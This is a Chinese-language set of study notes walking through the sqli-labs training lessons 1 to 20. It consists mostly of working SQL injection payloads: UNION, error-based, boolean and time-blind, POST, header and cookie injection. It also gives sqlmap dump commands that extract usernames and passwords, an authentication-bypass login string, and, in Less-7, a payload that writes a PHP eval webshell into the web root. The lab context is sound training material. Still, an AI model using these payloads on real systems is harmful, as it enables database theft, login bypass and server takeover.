sqli_labs学习笔记（一）Less-1~Less-20

时间 2020-02-02

标签 sqli labs 学习笔记繁體版

原文原文链接

开门见山php

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

· 方法一：手工UNION联合查询注入

输入单引号，页面报错，html

注意 id=非正确值mysql

爆库payloadlinux

http://43.247.91.228:84/Less-1?id=-1' union select 1,2,3 --+nginx

http://43.247.91.228:84/Less-1?id=-1' union select 1,2,database() --+sql

获得‘security’库名数据库

爆表payloadapache

http://43.247.91.228:84/Less-1?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+服务器

或cookie

http://43.247.91.228:84/Less-1?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查到 emails,referers,uagents,users ，显然users是用户数据表

爆列名（字段）payload

http://43.247.91.228:84/Less-1?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

爆值payload

http://43.247.91.228:84/Less-1?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

0x3a： 0x是十六进制标志，3a是十进制的58，是ascii中的 ':' ，用以分割pasword和username。

Your Password:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

· 方法二：手工报错型注入

检测报错型payload

?id=1' and 1=1--+ //正确

?id=1' and 1=2--+ //失败

注意id=正确值

爆表payload

http://43.247.91.228:84/Less-1?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆列名（字段）payload

http://43.247.91.228:84/Less-1?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

爆值payload

http://43.247.91.228:84/Less-1?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

显然没有彻底显示

http://43.247.91.228:84/Less-1?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+

· 方法三：sqlmap工具自动注入

Sqlmap.py -u "http://43.247.91.228:84/Less-1?id=1"

sqlmap.py -u "http://43.247.91.228:84/Less-1?id=1" --dbs

sqlmap.py -u "http://43.247.91.228:84/Less-1?id=1" -D security --tables

sqlmap.py -u "http://43.247.91.228:84/Less-1?id=1" -D security -T users --columns

sqlmap.py -u "http://43.247.91.228:84/Less-1?id=1" -D security -T users -C username,password --dump

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

· 方法一：手工UNION联合查询注入

判断报错，

http://43.247.91.228:84/Less-2/?id=1 and 1=1

http://43.247.91.228:84/Less-2/?id=1 and 1=2

暴出位置

http://43.247.91.228:84/Less-2/?id=1 and 1=2 union select 1,2,3

暴出表

http://43.247.91.228:84/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

暴出字段

http://43.247.91.228:84/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

暴出记录

http://43.247.91.228:84/Less-2/?id=1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from users

· 方法二：手工报错型注入

暴出表

http://43.247.91.228:84/Less-2/?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))

暴出字段

http://43.247.91.228:84/Less-2/?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))

暴出记录

http://43.247.91.228:84/Less-2/?id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))

显示未彻底

http://43.247.91.228:84/Less-2/?id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))

· 方法三：sqlmap

sqlmap.py -u "http://43.247.91.228:84/Less-2/?id=1" --dbs

sqlmap.py -u "http://43.247.91.228:84/Less-2/?id=1" -D security --tables

sqlmap.py -u "http://43.247.91.228:84/Less-2/?id=1" -D security -T users --column

sqlmap.py -u "http://43.247.91.228:84/Less-2/?id=1" -D security -T users -C username,password --dump

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

· 方法一：手工UNION联合查询注入

单引号+）报错

http://43.247.91.228:84/Less-3/?id=1') and 1=1 --+

http://43.247.91.228:84/Less-3/?id=1') and 1=2 --+

暴出位置

Id非正确值

http://43.247.91.228:84/Less-3/?id=-1') union select 1,2,3 --+

暴出表

http://43.247.91.228:84/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

暴出字段

http://43.247.91.228:84/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

暴出记录

http://43.247.91.228:84/Less-3/?id=-1') union select 1,2,group_concat(username,0x3a,password) from users --+

· 方法二：手工报错型注入

暴出表

Id为正确值

http://43.247.91.228:84/Less-3/?id=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

暴出字段

http://43.247.91.228:84/Less-3/?id=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴出记录

http://43.247.91.228:84/Less-3/?id=1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

未显示彻底

http://43.247.91.228:84/Less-3/?id=1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+

· 方法三：sqlmap工具自动注入

sqlmap.py -u "http://43.247.91.228:84/Less-3/?id=1"

sqlmap.py -u "http://43.247.91.228:84/Less-3/?id=1" --dbs

sqlmap.py -u "http://43.247.91.228:84/Less-3/?id=1" -D security --table

sqlmap.py -u "http://43.247.91.228:84/Less-3/?id=1" -D security -T users --column

sqlmap.py -u "http://43.247.91.228:84/Less-3/?id=1" -D security -T users -C username,password --dump

Less-4 GET - Error based - Double Quotes - String （基于错误的GET双引号字符型注入）

· 方法一：手工UNION联合查询注入

判断报错

http://43.247.91.228:84/Less-4/?id=1") and 1=1 --+

http://43.247.91.228:84/Less-4/?id=1") and 1=2 --+

暴出位置

Id值为不正确值

http://43.247.91.228:84/Less-4/?id=-1") union select 1,2,3 --+

暴出表

http://43.247.91.228:84/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

暴出字段

http://43.247.91.228:84/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

暴出记录

http://43.247.91.228:84/Less-4/?id=-1") union select 1,2,group_concat(username,0x3a,password) from users --+

· 方法二：手工报错型注入

暴出表

Id为正确值

http://43.247.91.228:84/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

暴出字段

http://43.247.91.228:84/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴出记录

http://43.247.91.228:84/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

未显示彻底

http://43.247.91.228:84/Less-4/?id=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+

· 方法三：sqlmap工具自动注入

sqlmap.py -u "http://43.247.91.228:84/Less-4/?id=1"

sqlmap.py -u "http://43.247.91.228:84/Less-4/?id=1" --dbs

sqlmap.py -u "http://43.247.91.228:84/Less-4/?id=1" -D security --table

sqlmap.py -u "http://43.247.91.228:84/Less-4/?id=1" -D security -T users --column

sqlmap.py -u "http://43.247.91.228:84/Less-4/?id=1" -D security -T users -C username,password --dump

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

· 方法一：时间延迟型手工注入

时间延迟型手工注入，正确会延迟，错误没有延迟。

验证时间延迟型的盲注：

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+

发现明显延迟，

爆库长payload

http://43.247.91.228:84/Less-5/?id=1' and if(length(database())=8,sleep(5),1) --+

爆库名payload

http://43.247.91.228:84/Less-5/?id=1' and if(left(database(),1)='s',sleep(5),1) --+

爆表名payload

http://43.247.91.228:84/Less-5/?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

爆列名payload

http://43.247.91.228:84/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

暴数据payload

http://43.247.91.228:84/Less-5/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

http://43.247.91.228:84/Less-5/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

须要注意的是，mysql对大小写不敏感，因此你不知道是Dumb 仍是dumb。

· 方法二，布尔型手工注入

在布尔型注入中，正确会回显，错误没有回显，以此为依据逐字爆破，

暴库payload

http://43.247.91.228:84/Less-5/?id=1' and left((select database()),1)='s' --+

爆表paylaod

http://43.247.91.228:84/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

爆列名payload

http://43.247.91.228:84/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i' --+

爆字段payload

http://43.247.91.228:84/Less-5/?id=1' and left((select username from users limit 0,1),1)='d' --+

须要注意的是，mysql对大小写不敏感，因此你不知道是Dumb 仍是dumb。

· 方法三，sqlmap工具注入

sqlmap.py -u "http://43.247.91.228:84/Less-5/?id=1"

sqlmap.py -u "http://43.247.91.228:84/Less-5/?id=1" --dbs

sqlmap.py -u "http://43.247.91.228:84/Less-5/?id=1" -D security --table

sqlmap.py -u "http://43.247.91.228:84/Less-5/?id=1" -D security -T users --column

sqlmap.py -u "http://43.247.91.228:84/Less-5/?id=1" -D security -T users -C username,password --dump

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

· 方法一：时间延迟型手工注入

判断报错

http://43.247.91.228:84/Less-6/?id=1" and sleep(5) --+

一个字符一个字符的猜解

暴出库名

http://43.247.91.228:84/Less-6/?id=1" and if(left(database(),1)='s',sleep(5),1) --+

暴出表名

http://43.247.91.228:84/Less-6/?id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1) --+

暴出字段

http://43.247.91.228:84/Less-6/?id=1" and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(5),1) --+

暴出记录

http://43.247.91.228:84/Less-6/?id=1" and if(left((select username from users limit 0,1),1)='d',sleep(5),1) --+

· 方法二，布尔型手工注入

正确会回显，错误没有回显

暴出库名

http://43.247.91.228:84/Less-6/?id=1" and left((select database()),1)='s' --+

暴出表名

http://43.247.91.228:84/Less-6/?id=1" and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

暴出字段

http://43.247.91.228:84/Less-6/?id=1" and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i' --+

暴出记录

http://43.247.91.228:84/Less-6/?id=1" and left((select username from users limit 0,1),1)='d' --+

方法三，sqlmap工具注入

sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1"

sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" --dbs

sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" -D security --table

sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" -D security -T users --column

sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" -D security -T users -C username,password --dump

Less-7 GET - Dump into outfile - String （导出文件GET字符型注入）

小扩展：

winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx通常是/usr/local/nginx/html，/home/wwwroot/default，/usr/share/nginx，/var/www/htm等

apache 就.../var/www/htm，.../var/www/html/htdocs

phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\

xammp 就是...\xampp\htdocs

load_file()导出文件

Load_file(file_name):读取文件并返回该文件的内容做为一个字符串。

使用条件：

A、必须有权限读取而且文件必须彻底可读

and (select count(*) from mysql.user)>0/* 若是结果返回正常,说明具备读写权限。

and (select count(*) from mysql.user)>0/* 返回错误，应该是管理员给数据库账户降权

B、欲读取文件必须在服务器上

C、必须指定文件完整的路径

D、欲读取文件必须小于max_allowed_packet

在less-2直接注入拿到路径

http://43.247.91.228:84/Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

注入less-7

Payload

?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "F:\\WhiteFlie\\PhpStudy20180211\\PHPTutorial\\WWW\\sqli-labs\\a.php"--+

前面为网站绝对路径

虽然回显报错，可是查看本地文件已经写入了一句话木马

中国菜刀链接

须要说一下这个方法须要mysql数据库开启secure-file-priv写文件权限，不然不能写入文件。

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

判断报错

http://43.247.91.228:84/Less-8/?id=1' and 1=1 --+

http://43.247.91.228:84/Less-8/?id=1' and 1=2 --+

猜解库的长度

http://43.247.91.228:84/Less-8/?id=1' and length(database())=8 --+

猜解库名

http://43.247.91.228:84/Less-8/?id=1' and left((select database()),1)='s' --+

http://43.247.91.228:84/Less-8/?id=1' and left((select database()),8)='security' --+

猜解表名

http://43.247.91.228:84/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' --+

猜解字段名

http://43.247.91.228:84/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i' --+

猜解记录

http://43.247.91.228:84/Less-8/?id=1' and left((select username from users limit 0,1),1)='d' --+

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

判断延时

http://43.247.91.228:84/Less-9/?id=1' and sleep(3) --+

猜解库的长度

http://43.247.91.228:84/Less-9/?id=1' and if(length(database())=8,sleep(3),1) --+

猜解库名

http://43.247.91.228:84/Less-9/?id=1' and if(left((select database()),1)='s',sleep(3),1) --+

猜解表名

http://43.247.91.228:84/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(3),1) --+

猜解字段名

http://43.247.91.228:84/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(3),1) --+

猜解记录

http://43.247.91.228:84/Less-9/?id=1' and if(left((select username from users limit 0,1),1)='d',sleep(3),1) --+

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

判断延时

http://43.247.91.228:84/Less-10/?id=1” and sleep(3) --+

猜解库的长度

http://43.247.91.228:84/Less-10/?id=1” and if(length(database())=8,sleep(3),1) --+

猜解库名

http://43.247.91.228:84/Less-10/?id=1” and if(left((select database()),1)='s',sleep(3),1) --+

猜解表名

http://43.247.91.228:84/Less-10/?id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(3),1) --+

猜解字段名

http://43.247.91.228:84/Less-10/?id=1" and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(3),1) --+

猜解记录

http://43.247.91.228:84/Less-10/?id=1" and if(left((select username from users limit 0,1),1)='d',sleep(3),1) --+

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

用Dump用户使用Dump密码登录，能够看到如下

输入admin admin 登录，抓包，发送到repeater模块

· 方法一 extractvalue测试payload

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登录

uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登录

说明注入生效，存在报错型注入，接下来又是重复性工做，上extractvalue()

爆库payload

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

爆表payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

爆列名payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

爆值payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

使用not in 能够查询其余值

· 方法二联合查询union select测试payload

爆出位置

注意uname是错误的，才能显示联合查询内容。

uname=0' union select 1,2 --+&passwd=admin&submit=Submit

爆库payload

uname=-1' union select 1,database() --+&passwd=admin&submit=Submit

暴表payload

uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit

暴字段payload

uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit

暴记录payload

uname=-1' union select 1,group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

sql查询语句

@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

构造一个能闭合语句并且会报错的payload：

admin" and extractvalue(1,concat(0x7e,(select database()))) and "

最终admin = "admin" and extractvalue(1,concat(0x7e,(select database()))) and " "

传入后就变成了：

uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit

· 方法一 extractvalue测试payload

爆库payload

uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit

爆表payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit

爆列payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit

爆值payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and " &passwd=admin&submit=Submit

使用not in查询没有显示出的其余值

· 方法二联合查询union select测试payload

爆出位置

uname=0") union select 1,2 --+&passwd=admin&submit=Submit

暴库payload

uname=0") union select 1,database() --+&passwd=admin&submit=Submit

爆表payload

uname=0") union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit

暴列payload

uname=0") union select 1, group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit

暴值payload

uname=0") union select 1, group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit

· 方法三，歪门邪道

报错的内容为：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1

能够看出，他在咱们输入的哪里多加了一个双引号和括号。

据此构造出万能密码的Payload:

帐号：admin")#

密码随意

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

爆表payload

uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and (' &passwd=admin&submit=Submit

或者

uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ &passwd=admin&submit=Submit

暴列payload

uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+ &passwd=admin&submit=Submit

暴值payload

uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+ &passwd=admin&submit=Submit

显示未彻底

uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+ &passwd=admin&submit=Submit

· 方法二，时间型盲注

由于能够报错注入，这个方法没有回显，就有点鸡肋了，给个样例payload：

uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

方法一，报错型

暴库payload

uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit

暴表payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit

暴列payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit

暴值payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and " &passwd=admin&submit=Submit

方法二，时间型盲注

效率低，鸡肋

样例payload

uname=admin" and if(left(database(),1)='s',sleep(3),1) --+ &passwd=admin&submit=Submit

方法三，聚合函数

具备随机性，鸡肋

样例payload

uname= " union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=admin&submit=Submit

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

时间延迟测试payload

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

明显延迟，肯定使用延迟注入。

手工延迟注入，最为致命。

暴库长度payload

uname=admin' and if(length(database())=8,sleep(3),1) --+&passwd=admin&submit=Submit

暴库payload

uname=admin' and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

爆表payload

uname=admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(3),1) --+&passwd=admin&submit=Submit

暴列payload

uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(3),1) --+&passwd=admin&submit=Submit

暴值payload

uname=admin' and if(left((select username from users limit 0,1),1)='D',sleep(3),1) --+&passwd=admin&submit=Submit

uname=admin' and if(left((select username from users limit 0,1),4)='Dumb',sleep(3),1) --+&passwd=admin&submit=Submit

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

时间延迟验证

uname=admin") and sleep(3) --+&passwd=admin&submit=Submit

明显延迟

暴库长

uname=admin") and if(length(database())=8,sleep(3),1) --+&passwd=admin&submit=Submit

暴库

uname=admin") and if(left((select database()),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

暴表

uname=admin") and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(3),1) --+&passwd=admin&submit=Submit

暴字段

uname=admin") and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(3),1) --+&passwd=admin&submit=Submit

暴值

uname=admin") and if(left((select username from users limit 0,1),1)='D',sleep(3),1) --+&passwd=admin&submit=Submit

· 方法二：歪门邪道：

万能帐号绕过密码验证：admin")#

注入结束。

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

这里对uname作了check_input的处理

作了这么多花里胡哨的过滤，却没对password也搞一次

针对password爆破：

使用updatexml（），它和extractvaule（）是亲兄弟，

测试version（）返回mysql版本

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,version(),0x7e),1) --+&submit=Submit

爆库payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) --+&submit=Submit

爆表名payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+&submit=Submit

爆列名payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+&submit=Submit

爆值payload

使用：uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

发现不行：加一层select嵌套

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin'))),1) --+ &submit=Submit

须要加个别名

uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

或者

uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理，头部POST注入)

看到user-agent的回显，猜想注入点在user-agnet，能够直接测试

爆库payload

User-Agent: ' and extractvalue(1,concat(0x7e,database())) and '

暴表payload

User-Agent: ' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '

暴字段payload

User-Agent: ' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and '

暴值payload

User-Agent: ' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and '

未显示彻底

User-Agent: ' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) and '

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

暴库payload

Referer: ' and extractvalue(1,concat(0x7e,database())) and '

暴表

Referer: ' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '

暴字段

Referer: ' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and '

暴值

Referer: ' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and '

显示未彻底

Referer: ' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) and '

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

登陆后页面：

看到cookie：uname=admin 没毛病就是cookie注入了

抓有cookie的包

加单引号

Cookie: uname=admin'

爆出语法错误，看得出来就是单引号型。

暴字段数

Cookie: uname=admin' order by 3 --+ //正常

Cookie: uname=admin' order by 4 --+ //报错判断字段数为3

爆库payload

注：uname值为不正确

Cookie: uname=-admin' union select 1,2,database() --+

暴表

Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

暴字段

Cookie: uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

暴值

Cookie: uname=-admin' union select 1,2,group_concat(username,0x3a,password) from users --+

　　感谢看雪提供的平台

未完待取...